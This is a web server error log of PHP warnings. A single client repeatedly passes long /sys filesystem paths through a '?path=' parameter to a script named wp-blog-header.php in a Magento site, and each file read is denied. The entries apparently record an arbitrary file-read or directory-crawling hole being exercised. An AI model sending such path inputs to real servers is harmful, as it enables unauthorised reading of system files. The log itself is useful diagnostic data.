[Thu Mar 26 11:15:21.384715 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:fe
[Thu Mar 26 11:15:21.935703 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:15:23.525250 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ac
[Thu Mar 26 11:15:25.149582 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:15:29.942878 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ae
[Thu Mar 26 11:15:30.953300 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:15:34.105436 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ee
[Thu Mar 26 11:15:34.559608 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:de
[Thu Mar 26 11:15:37.767682 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:15:40.492094 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:15:40.960912 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:15:41.505611 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ea
[Thu Mar 26 11:15:49.968505 2026] [php:warn] [pid 3106380] [client 74.7.241.26:47664] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:16:00.156708 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ba
[Thu Mar 26 11:16:06.044714 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec
[Thu Mar 26 11:16:08.156360 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:fe
[Thu Mar 26 11:16:10.767928 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:cc
[Thu Mar 26 11:16:13.359706 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:16:15.387956 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:16:16.521856 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:bc
[Thu Mar 26 11:16:17.547466 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ee
[Thu Mar 26 11:16:18.613503 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ec
[Thu Mar 26 11:16:20.145181 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:16:20.701382 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:16:23.075241 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:bc
[Thu Mar 26 11:16:23.627675 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:16:24.245536 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ec
[Thu Mar 26 11:16:24.724117 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:16:25.266983 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:16:27.409860 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:16:30.060066 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:16:32.183154 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:16:36.860129 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ee
[Thu Mar 26 11:16:38.463009 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:de
[Thu Mar 26 11:16:40.603816 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:16:45.887791 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:16:49.103506 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ac
[Thu Mar 26 11:16:49.639960 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ec
[Thu Mar 26 11:16:50.215480 2026] [php:warn] [pid 3117489] [client 74.7.241.26:36730] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fe
[Thu Mar 26 11:16:54.029515 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:16:54.617419 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:cc
[Thu Mar 26 11:16:58.309041 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:16:58.880183 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ac
[Thu Mar 26 11:17:01.040417 2026] [php:warn] [pid 3106758] [client 74.7.241.26:48122] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ee
